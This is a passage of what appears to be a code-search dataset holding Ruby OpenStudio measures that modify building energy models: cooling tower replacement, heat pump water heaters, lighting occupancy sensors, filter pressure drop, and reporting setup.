# See source below\n\t\tnew_vs_cooling_tower.setDesignRangeTemperature(5.56)\t# See source below\n\t\tnew_vs_cooling_tower.setDesignApproachTemperature(3.89)\t\t# See source below\n\t\t\n\t\t# Source: Based on CTI Standrard 201 Appendix E Cooling Tower Test Condition #47 \n\t\t# See http://www.cti.org/downloads/STD201_AppendixE-CT_CC_EC_Feb2015.xlsx\n\t\t# Condition Reference #47\n\t\t# Wet Bulb = 25.56 °C \n\t\t# Range °C = 5.56\n\t\t# Approach = 3.89 °C \n\t\t# Inlet Water Temperature = 35.00 °C = \n\t\t# Outlet Water Temperature = 29.44 °C\n\t\t\t\n\t\tif design_water_flow_rate_autosize_status == true\n\t\t\tnew_vs_cooling_tower.autosizeDesignWaterFlowRate \t\n\t\telse\n\t\t\tnew_vs_cooling_tower.setDesignWaterFlowRate(design_water_flow_rate)\n\t\tend\n\t\t\t\n\t\tif high_fan_speed_fan_air_flow_rate_autosize_status == true\n\t\t\tnew_vs_cooling_tower.autosizeDesignAirFlowRate\n\t\telse\n\t\t\tnew_vs_cooling_tower.setDesignAirFlowRate(high_fan_speed_air_flow_rate)\n\t\tend\n\n\t\tif high_fan_speed_fan_power_autosize_status == true\n\t\t\tnew_vs_cooling_tower.autosizeDesignFanPower\n\t\telse\n\t\t\tnew_vs_cooling_tower.setDesignFanPower(high_fan_speed_power)\n\t\tend\n\n\t\tnew_vs_cooling_tower.setFanPowerRatioFunctionofAirFlowRateRatioCurve(fan_pwr_func_airflow_ratio_curve)\n\t\tts_min_airflow_ratio = 0.20 # TODO check against selection software\n\t\tnew_vs_cooling_tower.setMinimumAirFlowRateRatio(ts_min_airflow_ratio) \n\t\tts_fract_twr_cap_free_con = 0.125 # TODO check against selection software\n\t\tnew_vs_cooling_tower.setFractionofTowerCapacityinFreeConvectionRegime(ts_fract_twr_cap_free_con) \n\t\tnew_vs_cooling_tower.setBasinHeaterSetpointTemperature(basin_heater_setpoint_temp)\n\n\t\tif ts.basinHeaterOperatingSchedule.is_initialized\n\t\t\tnew_vs_cooling_tower.setBasinHeaterOperatingSchedule(basin_heater_operating_schedule)\n\t\tend\t\n\n\t\tif ts.evaporationLossMode.is_initialized\n\t\t\tnew_vs_cooling_tower.setEvaporationLossMode(evaporation_loss_mode)\n\t\tend\t\n\t\t\n\t\tnew_vs_cooling_tower.setEvaporationLossFactor(evaporation_loss_factor)\n\t\tnew_vs_cooling_tower.setDriftLossPercent(drift_loss_percent)\n\t\t\n\t\tif ts.blowdownCalculationMode.is_initialized\n\t\t\tnew_vs_cooling_tower.setBlowdownCalculationMode(blowdown_calculation_mode)\n\t\tend\t\t\n\n\t\tnew_vs_cooling_tower.setBlowdownConcentrationRatio(blowdown_concentration_ratio)\n\n\t\tif ts.blowdownMakeupWaterUsageSchedule.is_initialized\n\t\t\tnew_vs_cooling_tower.setBlowdownMakeupWaterUsageSchedule(blowdown_makeup_water_usage_schedule)\n\t\tend\n\n\t\tnew_vs_cooling_tower.setNumberofCells(number_of_cells)\n\t\tnew_vs_cooling_tower.setCellControl(cell_control)\n\t\tnew_vs_cooling_tower.setCellMinimumWaterFlowRateFraction(cell_minimum_water_flow_rate_fraction)\n\t\tnew_vs_cooling_tower.setCellMaximumWaterFlowRateFraction(cell_maximum_water_flow_rate_fraction)\n\t\tnew_vs_cooling_tower.setSizingFactor(sizing_factor)\n\t\t\t\t\n\t\t# Step 6 - Remove the existing two speed cooling tower\n\t\tts.remove\n\t\t\n\t\t# Step 7 - Write info messages\n\t\trunner.registerInfo(\"Removed CoolingTowerTwoSpeed object named #{ts.name}.\")\n\t\trunner.registerInfo(\"Adding new CoolingTowerVariableSpeed object named #{new_vs_cooling_tower.name} to replace #{ts.name}.\")\n\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} has same basin heater capacity of #{basin_heater_capacity} W.\")\n\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} has Design Inlet Air Wetbub Temperature of 25.56°C based on CTI testing standards.\")\n\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} has Design Range Temperature of 5.56°C based on CTI testing standards.\")\n\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} has Design Approach Temperature of 3.89°C based on CTI testing standards.\")\n\t\t\t\n\t\tif design_water_flow_rate_autosize_status == true\n\t\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} design water flow rate set to Autosize, same as the original cooling tower.\")\n\t\telse\n\t\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} design water flow rate set to #{design_water_flow_rate} m3/sec, same as the original cooling tower.\")\n\t\tend\t\n\t\t\t\n\t\tif high_fan_speed_fan_air_flow_rate_autosize_status == true\n\t\t\trunner.registerInfo(\"Setting Design AirFlow Rate for #{ts.name} equal to 'Autosize', same as High Fan Speed Air Flow rate of original tower.\")\n\t\telse\n\t\t\trunner.registerInfo(\"Setting the Design Airflow Rate for #{ts.name} equal to #{high_fan_speed_air_flow_rate} m3/sec, same as High Fan Speed Air Flow Rate of original tower.\")\n\t\tend\t\t\n\t\t\t\n\t\tif high_fan_speed_fan_power_autosize_status == true\n\t\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} re-uses the Autosized value for High Fan Speed Fan Power for setting the Design Fan Power to Autosize.\")\n\t\telse\n\t\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} re-uses the High Fan Speed Fan Power setting of #{high_fan_speed_power}W for the Design Fan Power setting.\")\n\t\tend\n\t\n\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} uses a new performance curve named #{fan_pwr_func_airflow_ratio_curve.name} to describe the tower fan power vs airflow unloading curve.\")\n\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} sets the minimum tower airflow ratio to #{ts_min_airflow_ratio} of design airflow based on best engineering practice.\")\n\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} sets the fraction of tower capacity in free convection regime = #{ts_fract_twr_cap_free_con} based on induicstry standards.\")\n\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} reuses the basin heater setpoint temperature of #{basin_heater_setpoint_temp} Deg C.\")\n\t\t\n\t\tif ts.basinHeaterOperatingSchedule.is_initialized\n\t\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} reuses the Basin Heater Operating Schedule of #{basin_heater_operating_schedule}.\")\n\t\tend\n\t\t\n\t\tif ts.evaporationLossMode.is_initialized\n\t\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} reuses the evaporation loass mode setting of #{evaporation_loss_mode}.\")\n\t\tend\n\n\t\trunner.registerInfo(\"XXXX - Replacement Tower for #{ts.name} reuses the evaporation loss factor of #{evaporation_loss_factor}.\")\n\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} reuses the drift loss % of #{drift_loss_percent}.\")\n\n\t\tif ts.blowdownCalculationMode.is_initialized\n\t\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} reuses the blowdown calculation mode setting of #{blowdown_calculation_mode}.\")\n\t\tend\n\n\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} reuses the blowdown concentration ration of #{blowdown_concentration_ratio}.\")\n\n\t\tif ts.blowdownMakeupWaterUsageSchedule.is_initialized\n\t\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} reuses the blowdown makeup water usage schedule named #{blowdown_makeup_water_usage_schedule}.\")\n\t\tend\n\n\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} reuses the same number of cells as the original tower, #{number_of_cells} cells.\")\n\n\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} reuses the cell control strategy of #{cell_control}.\")\n\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} reuses the cell minimum water flow rate fraction of #{cell_minimum_water_flow_rate_fraction}.\")\n\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} reuses the cell minimum water flow rate fraction of #{cell_maximum_water_flow_rate_fraction}.\")\n\t\trunner.registerInfo(\"Replacement Tower for #{ts.name} reuses the sizing factor of #{sizing_factor}.\")\n\t\t\t\n\tend # loop through array of two speed towers\n\n\t# Write Final Condiitons Message\n\trunner.registerFinalCondition(\"Measure completed by replacing #{single_speed.count} 'single speed' & #{two_speed.count} 'two speed' cooling towers with CoolingTowerVariableSpeed objects.\")\n\n return true\n\n end", "title": "" }, { "docid": "bb0061c2ddbb97c8dc98be7a6a2f5808", "score": "0.6084445", "text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n ## ARGUMENT VALIDATION ---------------------------------------------------------------------------------------------\n # Measure does not immedately return false upon error detection. Errors are accumulated throughout this selection\n # before exiting gracefully prior to measure execution.\n\n # use the built-in error checking\n unless runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # report initial condition of model\n tanks_ic = model.getWaterHeaterMixeds.size + model.getWaterHeaterStratifieds.size\n hpwh_ic = model.getWaterHeaterHeatPumps.size + model.getWaterHeaterHeatPumpWrappedCondensers.size\n runner.registerInitialCondition(\"The building started with #{tanks_ic} water heater tank(s) and \" \\\n \"#{hpwh_ic} heat pump water heater(s).\")\n\n # create empty arrays and initialize variables for future use\n flex = []\n flex_type = []\n flex_hrs = []\n time_check = []\n hours = []\n minutes = []\n flex_times = []\n\n # assign the user inputs to variables\n remove_wh = runner.getBoolArgumentValue('remove_wh', user_arguments)\n wh = runner.getStringArgumentValue('wh', user_arguments)\n vol = runner.getDoubleArgumentValue('vol', user_arguments)\n type = runner.getStringArgumentValue('type', user_arguments)\n zone = runner.getStringArgumentValue('zone', user_arguments)\n cap = runner.getDoubleArgumentValue('cap', user_arguments)\n cop = runner.getDoubleArgumentValue('cop', user_arguments)\n bu_cap = runner.getDoubleArgumentValue('bu_cap', user_arguments)\n max_temp = runner.getDoubleArgumentValue('max_temp', user_arguments)\n min_temp = runner.getDoubleArgumentValue('min_temp', user_arguments)\n db_temp = runner.getDoubleArgumentValue('db_temp', user_arguments)\n sched = runner.getStringArgumentValue('sched', user_arguments)\n\n 4.times do |n|\n flex << runner.getStringArgumentValue('flex' + n.to_s, user_arguments)\n flex_hrs << runner.getStringArgumentValue('flex_hrs' + n.to_s, user_arguments)\n end\n\n # check capacity, volume, and temps for reasonableness\n if cap < 5\n runner.registerWarning('HPWH heating capacity is less than 5kW ( 17kBtu/hr)')\n end\n\n if bu_cap < 5\n runner.registerWarning('Backup heating capaicty is less than 5kW ( 17kBtu/hr).')\n end\n\n if vol == 0\n runner.registerInfo('Tank volume was not specified, using existing tank capacity.')\n elsif vol < 40\n runner.registerWarning('Tank has less than 40 gallon capacity; check heat pump sizing if model fails.')\n end\n\n if min_temp < 120\n runner.registerWarning('Minimum tank temperature is very low; consider increasing to at least 120F.')\n runner.registerWarning('Do not store water for long periods at temperatures below 135-140F as those ' \\\n 'conditions facilitate the growth of Legionella.')\n end\n\n if max_temp > 185\n runner.registerWarning('Maximum charging temperature exceeded practical limits; reset to 185F.')\n max_temp = 185.0\n end\n\n if max_temp > 170\n runner.registerWarning(\"#{max_temp}F is above or near the limit of the HP performance curves. If the \" \\\n 'simulation fails with cooling capacity less than 0, you have exceeded performance ' \\\n 'limits. Consider setting max temp to less than 170F.')\n end\n\n # check selected schedule and set flag for later use\n sched_flag = false # flag for either creating new (false) or modifying existing (true) schedule\n if sched == '--Create New @ 140F--'\n runner.registerInfo('No reference water heater temperature setpoint schedule was selected; a new one ' \\\n 'will be created.')\n else\n sched_flag = true\n runner.registerInfo(\"#{sched} will be used as the water heater temperature setpoint schedule.\")\n end\n\n # parse flex_hrs into hours and minuts arrays\n idx = 0\n flex_hrs.each do |fh|\n if flex[idx] != 'None'\n data = fh.split(/[-:]/)\n data.each { |e| e.delete!(' ') }\n if data[2] > data[0]\n flex_type << flex[idx]\n hours << data[0]\n hours << data[2]\n minutes << data[1]\n minutes << data[3]\n else\n flex_type << flex[idx]\n flex_type << flex[idx]\n hours << 0\n hours << data[2]\n hours << data[0]\n hours << 24\n minutes << 0\n minutes << data[3]\n minutes << data[1]\n minutes << 0\n end\n end\n idx += 1\n end\n\n # convert hours and minutes into OS:Time objects\n idx = 0\n hours.each do |h|\n flex_times << OpenStudio::Time.new(0, h.to_i, minutes[idx].to_i, 0)\n idx += 1\n end\n\n # flex.delete('None')\n\n runner.registerInfo(\"A total of #{idx / 2} flex periods will be added to the selected water heater setpoint schedule.\")\n\n # exit gracefully if errors registered above\n return false unless runner.result.errors.empty?\n ## END ARGUMENT VALIDATION -----------------------------------------------------------------------------------------\n\n ## CONTROLS: HEAT PUMP HEATING TEMPERATURE SETPOINT SCHEDULE -------------------------------------------------------\n # This section creates the heat pump heating temperature setpoint schedule with flex periods\n # The tank schedule is created here\n\n # find or create new reference temperature schedule based on sched_flag value\n if sched_flag # schedule already exists and must be modified\n # converts the STRING into a MODEL OBJECT, same variable name\n sched = model.getScheduleRulesetByName(sched).get.clone.to_ScheduleRuleset.get\n else\n # must create new water heater setpoint temperature schedule at 140F\n sched = OpenStudio::Model::ScheduleRuleset.new(model, 60)\n end\n\n # rename and duplicate for later modification\n sched.setName('Heat Pump Heating Temperature Setpoint')\n sched.defaultDaySchedule.setName('Heat Pump Heating Temperature Setpoint Default')\n\n # tank_sched = sched.clone.to_ScheduleRuleset.get\n tank_sched = OpenStudio::Model::ScheduleRuleset.new(model, 60 - (db_temp / 1.8 + 2))\n tank_sched.setName('Tank Electric Heater Setpoint')\n tank_sched.defaultDaySchedule.setName('Tank Electric Heater Setpoint Default')\n\n # grab default day and time-value pairs for modification\n d_day = sched.defaultDaySchedule\n old_times = d_day.times\n old_values = d_day.values\n new_values = Array.new(flex_times.size, 2)\n\n # find existing values in reference schedule and grab for use in new-rule creation\n flex_times.size.times do |i|\n if i.even?\n n = 0\n old_times.each do |ot|\n new_values[i] = old_values[n] if flex_times[i] <= ot\n n += 1\n end\n elsif flex_type[(i / 2).floor] == 'Charge - Heat Pump'\n new_values[i] = OpenStudio.convert(max_temp, 'F', 'C').get\n elsif flex_type[(i / 2).floor] == 'Float' || flex_type[(i / 2).floor] == 'Charge - Electric'\n new_values[i] = OpenStudio.convert(min_temp, 'F', 'C').get\n end\n end\n\n # create new rules and add to default day based on flex period options above\n idx = 0\n flex_times.each do |ft|\n d_day.addValue(ft, new_values[idx])\n idx += 1\n end\n\n ## END CONTROLS: HEAT PUMP HEATING TEMPERATURE SETPOINT SCHEDULE ---------------------------------------------------\n\n ## CONTROLS: TANK TEMPERATURE SETPOINT SCHEDULE (ELECTRIC BACKUP) --------------------------------------------------\n # This section creates the setpoint temperature schedule for the electric backup heating coils in the water tank\n\n # grab default day and time-value pairs for modification\n d_day = tank_sched.defaultDaySchedule\n old_times = d_day.times\n old_values = d_day.values\n new_values = Array.new(flex_times.size, 2)\n\n # find existing values in reference schedule and grab for use in new-rule creation\n flex_times.size.times do |i|\n if i.even?\n n = 0\n old_times.each do |ot|\n new_values[i] = old_values[n] if flex_times[i] <= ot\n n += 1\n end\n elsif flex_type[(i / 2).floor] == 'Charge - Electric'\n new_values[i] = OpenStudio.convert(max_temp, 'F', 'C').get\n elsif flex_type[(i / 2).floor] == 'Float' # || flex_type[(i/2).floor] == 'Charge - Heat Pump'\n new_values[i] = OpenStudio.convert(min_temp - db_temp, 'F', 'C').get\n elsif flex_type[(i / 2).floor] == 'Charge - Heat Pump'\n new_values[i] = 60 - (db_temp / 1.8)\n end\n end\n\n # create new rules and add to default day based on flex period options above\n idx = 0\n flex_times.each do |ft|\n d_day.addValue(ft, new_values[idx])\n idx += 1\n end\n\n ## END CONTROLS: TANK TEMPERATURE SETPOINT SCHEDULE (ELECTRIC BACKUP) ----------------------------------------------\n\n ## HARDWARE --------------------------------------------------------------------------------------------------------\n # This section adds the selected type of heat pump water heater to the supply side of the selected loop. If\n # selected, measure will remove any existing water heaters on the supply side of the loop. If old heater(s) are left\n # in place, the new HPWH tank will be placed in front (to the left) of them.\n\n # use OS standards build - arbitrary selection, but NZE Ready seems appropriate\n std = Standard.build('NREL ZNE Ready 2017')\n\n #####\n # get the selected water heaters\n whtrs = []\n model.getWaterHeaterMixeds.each do |w|\n if wh == 'All Water Heaters (Simplified Only)'\n # exclude booster tanks (<10gal):\n if w.tankVolume.to_f < 0.037854\n next\n else\n whtrs << w\n end\n elsif w.name.to_s == wh\n whtrs << w\n end\n end\n\n whtrs.each do |wh|\n # create empty arrays and initialize variables for later use\n old_heater = []\n count = 0\n\n # get the appropriate plant loop\n loop = ''\n loops = model.getPlantLoops\n loops.each do |l|\n l.supplyComponents.each do |c|\n if c.name.to_s == wh.name.to_s\n loop = l\n end\n end\n end\n\n # use existing tank volume unless otherwise specified\n # values between 0.0 and 5.0 are considered tank sizing multipliers\n if vol == 0\n v = wh.tankVolume\n elsif (vol > 0.0) && (vol < 5.0)\n v = wh.tankVolume.to_f * vol\n else\n v = OpenStudio.convert(vol, 'gal', 'm^3').get\n end\n\n inlet = wh.supplyInletModelObject.get.to_Node.get\n outlet = wh.supplyOutletModelObject.get.to_Node.get\n\n # Add heat pump water heater and attach to selected loop\n # Reference: https://github.com/NREL/openstudio-standards/blob/master/lib/\n # => openstudio-standards/prototypes/common/objects/Prototype.ServiceWaterHeating.rb\n if type != 'Simplified'\n # convert zone name from STRING into OS model OBJECT\n zone = model.getThermalZoneByName(zone).get\n hpwh = std.model_add_heatpump_water_heater(model, # model\n type: type, # type\n water_heater_capacity: (cap * 1000 / cop), # water_heater_capacity\n electric_backup_capacity: (bu_cap * 1000), # electric_backup_capacity\n water_heater_volume: v, # water_heater_volume\n service_water_temperature: OpenStudio.convert(140.0, 'F', 'C').get, # service_water_temperature\n parasitic_fuel_consumption_rate: 3.0, # parasitic_fuel_consumption_rate\n swh_temp_sch: sched, # swh_temp_sch\n cop: cop, # cop\n shr: 0.88, # shr\n tank_ua: 3.9, # tank_ua\n set_peak_use_flowrate: false, # set_peak_use_flowrate\n peak_flowrate: 0.0, # peak_flowrate\n flowrate_schedule: nil, # flowrate_schedule\n water_heater_thermal_zone: zone) # water_heater_thermal_zone\n else\n # zone = wh.ambientTemperatureThermalZone.get\n runner.registerWarning(wh.to_s)\n hpwh = std.model_add_water_heater(model, # model\n (cap * 1000), # water_heater_capacity\n v.to_f, # water_heater_volume\n 'HeatPump', # water_heater_fuel\n OpenStudio.convert(140.0, 'F', 'C').to_f, # service_water_temperature\n 3.0, # parasitic_fuel_consumption_rate\n sched, # swh_temp_sch\n false, # set_peak_use_flowrate\n 0.0, # peak_flowrate\n nil, # flowrate_schedule\n model.getThermalZones[0], # water_heater_thermal_zone\n 1) # number_water_heaters\n # set COP in PLF curve\n cop_curve = hpwh.partLoadFactorCurve.get\n cop_curve.setName(cop_curve.name.get.gsub('2.8', cop.to_s))\n cop_curve.setCoefficient1Constant(cop)\n end\n\n # add tank to appropriate branch and node (will be placed first in series if old tanks not removed)\n # modify objects as ncessary\n if type != 'Simplified'\n hpwh.tank.addToNode(inlet)\n hpwh.setDeadBandTemperatureDifference(db_temp / 1.8)\n runner.registerInfo(\"#{hpwh.tank.name} was added to the model on #{loop.name}\")\n else\n hpwh.addToNode(inlet)\n hpwh.setMaximumTemperatureLimit(OpenStudio.convert(max_temp, 'F', 'C').get)\n runner.registerInfo(\"#{hpwh.name} was added to the model on #{loop.name}\")\n end\n\n # remove old tank objects if necessary\n if remove_wh\n runner.registerInfo(\"#{wh.name} was removed from the model.\")\n wh.remove\n end\n\n # CONTROLS MODIFICATIONS FOR TANK ---------------------------------------------------------------------------------\n # apply schedule to tank\n if type == 'PumpedCondenser'\n hpwh.tank.to_WaterHeaterMixed.get.setSetpointTemperatureSchedule(tank_sched)\n elsif type == 'WrappedCondenser'\n hpwh.tank.to_WaterHeaterStratified.get.setHeater1SetpointTemperatureSchedule(tank_sched)\n hpwh.tank.to_WaterHeaterStratified.get.setHeater2SetpointTemperatureSchedule(tank_sched)\n end\n # END CONTROLS MODIFICATIONS FOR TANK -----------------------------------------------------------------------------\n end\n ## END HARDWARE ----------------------------------------------------------------------------------------------------\n\n ## ADD REPORTED VARIABLES ------------------------------------------------------------------------------------------\n\n ovar_names = ['Cooling Coil Total Cooling Rate',\n 'Cooling Coil Total Water Heating Rate',\n 'Cooling Coil Water Heating Electric Power',\n 'Cooling Coil Crankcase Heater Electric Power',\n 'Water Heater Tank Temperature',\n 'Water Heater Heat Loss Rate',\n 'Water Heater Heating Rate',\n 'Water Heater Use Side Heat Transfer Rate',\n 'Water Heater Source Side Heat Transfer Rate',\n 'Water Heater Unmet Demand Heat Transfer Rate',\n 'Water Heater Electricity Rate',\n 'Water Heater Water Volume Flow Rate',\n 'Water Use Connections Hot Water Temperature']\n\n # Create new output variable objects\n ovars = []\n ovar_names.each do |nm|\n ovars << OpenStudio::Model::OutputVariable.new(nm, model)\n end\n\n # add temperate schedule outputs - clean up and put names into array, then loop over setting key values\n v = OpenStudio::Model::OutputVariable.new('Schedule Value', model)\n v.setKeyValue(sched.name.to_s)\n ovars << v\n\n v = OpenStudio::Model::OutputVariable.new('Schedule Value', model)\n v.setKeyValue(tank_sched.name.to_s)\n ovars << v\n\n if type != 'Simplified'\n v = OpenStudio::Model::OutputVariable.new('Schedule Value', model)\n v.setKeyValue(tank_sched.name.to_s)\n ovars << v\n end\n\n # Set variable reporting frequency for newly created output variables\n ovars.each do |var|\n var.setReportingFrequency('TimeStep')\n end\n\n # Register info re: output variables:\n runner.registerInfo(\"#{ovars.size} output variables were added to the model.\")\n ## END ADD REPORTED VARIABLES --------------------------------------------------------------------------------------\n\n # Register final condition\n hpwh_fc = model.getWaterHeaterHeatPumps.size + model.getWaterHeaterHeatPumpWrappedCondensers.size\n tanks_fc = model.getWaterHeaterMixeds.size + model.getWaterHeaterStratifieds.size\n runner.registerFinalCondition(\"The building finshed with #{tanks_fc} water heater tank(s) and \" \\\n \"#{hpwh_fc} heat pump water heater(s).\")\n\n true\n end", "title": "" }, { "docid": "90d961f1d9822afacff5ccc65fa03dac", "score": "0.6060489", "text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Assign the user inputs to variables\n apply_measure = runner.getStringArgumentValue(\"apply_measure\",user_arguments)\n percent_runtime_reduction = runner.getDoubleArgumentValue(\"percent_runtime_reduction\",user_arguments)\n\n # This measure is not applicable if apply_measure is false\n if apply_measure == \"FALSE\"\n runner.registerAsNotApplicable(\"Not Applicable - User chose not to apply this measure via the apply_measure argument.\")\n return true\n end \n \n # Check arguments for reasonableness\n if percent_runtime_reduction >= 100\n runner.registerError(\"Percent runtime reduction must be less than 100.\")\n return false\n end\n\n # Find all the original schedules (before occ sensors installed)\n original_lts_schedules = []\n model.getLightss.each do |light_fixture|\n if light_fixture.schedule.is_initialized\n original_lts_schedules << light_fixture.schedule.get\n end\n end \n\n # Make copies of all the original lights schedules, reduced to include occ sensor impact\n original_schs_new_schs = {}\n original_lts_schedules.uniq.each do |orig_sch|\n # Copy the original schedule\n new_sch = orig_sch.clone.to_ScheduleRuleset.get\n new_sch.setName(\"#{new_sch.name.get} with occ sensor\")\n # Reduce each value in each profile (except the design days) by the specified amount\n runner.registerInfo(\"Reducing values in '#{orig_sch.name}' schedule by #{percent_runtime_reduction}% to represent occ sensor installation.\")\n day_profiles = []\n day_profiles << new_sch.defaultDaySchedule\n new_sch.scheduleRules.each do |rule|\n day_profiles << rule.daySchedule\n end\n multiplier = (100 - percent_runtime_reduction)/100\n day_profiles.each do |day_profile|\n #runner.registerInfo(\"#{day_profile.name}\")\n times_vals = day_profile.times.zip(day_profile.values)\n #runner.registerInfo(\"original time/values = #{times_vals}\")\n times_vals.each do |time,val|\n day_profile.addValue(time, val * multiplier)\n end\n #runner.registerInfo(\"new time/values = #{day_profile.times.zip(day_profile.values)}\")\n end \n #log the relationship between the old sch and the new, reduced sch\n original_schs_new_schs[orig_sch] = new_sch\n end\n \n # Replace the old schedules with the new, reduced schedules\n spaces_sensors_added_to = []\n model.getLightss.each do |light_fixture|\n next if light_fixture.schedule.empty?\n lights_sch = light_fixture.schedule.get\n new_sch = original_schs_new_schs[lights_sch]\n if new_sch\n runner.registerInfo(\"Added occupancy sensor for '#{light_fixture.name}'\")\n light_fixture.setSchedule(new_sch)\n spaces_sensors_added_to << light_fixture.space\n end\n end\n \n # Report if the measure is not applicable\n num_sensors_added = spaces_sensors_added_to.uniq.size\n if spaces_sensors_added_to.size == 0\n runner.registerAsNotApplicable(\"This measure is not applicable because there were no lights in the building.\")\n return true\n end \n \n # Report final condition\n runner.registerFinalCondition(\"Added occupancy sensors to #{num_sensors_added} spaces in the building.\")\n\n return true\n\n end", "title": "" }, { "docid": "6b71e92de313be533e4097b0025b6118", "score": "0.60448056", "text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Assign the user inputs to variables\n apply_measure = runner.getStringArgumentValue(\"apply_measure\",user_arguments)\n pressure_drop_reduction_inh2o = runner.getDoubleArgumentValue(\"pressure_drop_reduction_inh2o\",user_arguments)\n\n # This measure is not applicable if apply_measure is false\n if apply_measure == \"FALSE\"\n runner.registerAsNotApplicable(\"Not Applicable - User chose not to apply this measure via the apply_measure argument.\")\n return true\n end \n \n # Check arguments for reasonableness\n if pressure_drop_reduction_inh2o >= 4\n runner.registerError(\"Pressure drop reduction must be less than 4 in W.C. to be reasonable.\")\n return false\n end\n\n # Loop through all air loops, find the fan,\n # and reduce the pressure drop to model the impact\n # of lower pressure drop filters.\n air_loops_pd_lowered = []\n air_loops = []\n model.getAirLoopHVACs.each do |air_loop|\n air_loops << air_loop\n air_loop.supplyComponents.each do |supply_comp|\n fan = nil\n if supply_comp.to_FanConstantVolume.is_initialized\n fan = supply_comp.to_FanConstantVolume.get\n elsif supply_comp.to_FanVariableVolume.is_initialized\n fan = supply_comp.to_FanVariableVolume.get\n end\n if !fan.nil?\n current_pd_pa = fan.pressureRise\n current_pd_inh2o = OpenStudio.convert(current_pd_pa, \"Pa\", \"inH_{2}O\").get\n new_pd_inh2o = current_pd_inh2o - pressure_drop_reduction_inh2o\n # Error if requested pressur drop less than 0\n if new_pd_inh2o <= 0\n runner.registerWarning(\"Initial pressure drop of #{air_loop.name} was #{current_pd_inh2o.round(1)}, less than the requested pressure drop reduction of #{pressure_drop_reduction_inh2o.round(1)}. Pressure drop for this loop was unchanged.\")\n next # Next airloop\n end\n new_pd_pa = OpenStudio.convert(new_pd_inh2o, \"inH_{2}O\", \"Pa\").get\n fan.setPressureRise(new_pd_pa)\n runner.registerInfo(\"Lowered pressure drop on #{air_loop.name} by #{pressure_drop_reduction_inh2o} in W.C. from #{current_pd_inh2o.round(1)} in W.C to #{new_pd_inh2o.round(1)} in W.C.\")\n air_loops_pd_lowered << air_loop\n end\n end\n end\n \n # Not applicable if no air loops\n if air_loops.size == 0\n runner.registerAsNotApplicable(\"This measure is not applicable because there were no airloops in the building.\")\n return true \n end\n \n # Not applicable if no airloops were modified\n if air_loops_pd_lowered.size == 0\n runner.registerAsNotApplicable(\"This measure is not applicable because none of the airloops in the model were impacted.\")\n return true\n end \n \n # Report final condition\n runner.registerFinalCondition(\"Lowered pressure drop on air filters in #{air_loops_pd_lowered.size} air loops.\")\n\n return true\n\n end", "title": "" }, { "docid": "14f51c98a5881426e3fda7fbcb8ba90d", "score": "0.60387355", "text": "def arguments\n puts '---> In Measure.arguments now...'\n args = OpenStudio::Measure::OSArgumentVector.new\n\n # chs = OpenStudio::StringVector.new\n # chs << 'IP'\n # chs << 'SI'\n # units = OpenStudio::Measure::OSArgument.makeChoiceArgument('units', chs, true)\n # units.setDisplayName('Which Unit System do you want to use?')\n # units.setDefaultValue('IP')\n # args << units\n\n # populate arguments\n possible_sections.each do |method_name|\n\n # display_name = eval(\"OsLib_Reporting.#{method_name}(nil,nil,nil,true,nil,nil)[:title]\")\n\n begin\n # get display name\n arg = OpenStudio::Measure::OSArgument.makeBoolArgument(method_name, true)\n display_name = eval(\"OsLib_Reporting.#{method_name}(nil,nil,nil,true,nil)[:title]\")\n arg.setDescription(\"Choose whether or not to report #{method_name}\")\n arg.setDisplayName(display_name)\n arg.setDefaultValue(true)\n args << arg\n # if display_name == 'Air Quality KPIs'\n # # Add air quality KPI related arguments\n # # arg = OpenStudio::Measure::OSArgument.makeBoolArgument('enable_outdoor_co2', true)\n # arg = OpenStudio::Measure::OSArgument.makeDoubleArgument('outdoor_co2_level', true)\n # arg.setDescription(\"This value will be used if 'Air Quality KPIs' is checked.\")\n # arg.setDisplayName('Outdoor CO2 concentration')\n # arg.setDefaultValue(400)\n # args << arg\n # end\n rescue\n next\n end\n end\n\n args\n end", "title": "" }, { "docid": "6ac06ca790815144df35f944fe2acf1b", "score": "0.6035235", "text": "def run(runner, user_arguments)\n super(runner, user_arguments)\n # use the built-in error checking (need model)\n if !runner.validateUserArguments(arguments, user_arguments)\n return false\n end\n\t\n # get the last model and sql file\n model = runner.lastOpenStudioModel\n if model.empty?\n runner.registerError('Cannot find last model.')\n return false\n end\n model = model.get\n\n\n\n # get measure arguments\n variable_name = runner.getStringArgumentValue(\"variable_name\",user_arguments)\n\tkey_name = runner.getStringArgumentValue(\"key_name\",user_arguments)\n reporting_frequency = runner.getStringArgumentValue(\"reporting_frequency\",user_arguments) \n\tfile_path = runner.getStringArgumentValue(\"file_path\", user_arguments)\n\t\n # load sql file\n sql_file = runner.lastEnergyPlusSqlFile\n if sql_file.empty?\n runner.registerError('Cannot find last sql file.')\n return false\n end\n sql_file = sql_file.get\n model.setSqlFile(sql_file)\n\n # get the weather file run period (as opposed to design day run period)\n ann_env_pd = nil\n sql_file.availableEnvPeriods.each do |env_pd|\n env_type = sql_file.environmentType(env_pd)\n if env_type.is_initialized\n if env_type.get == 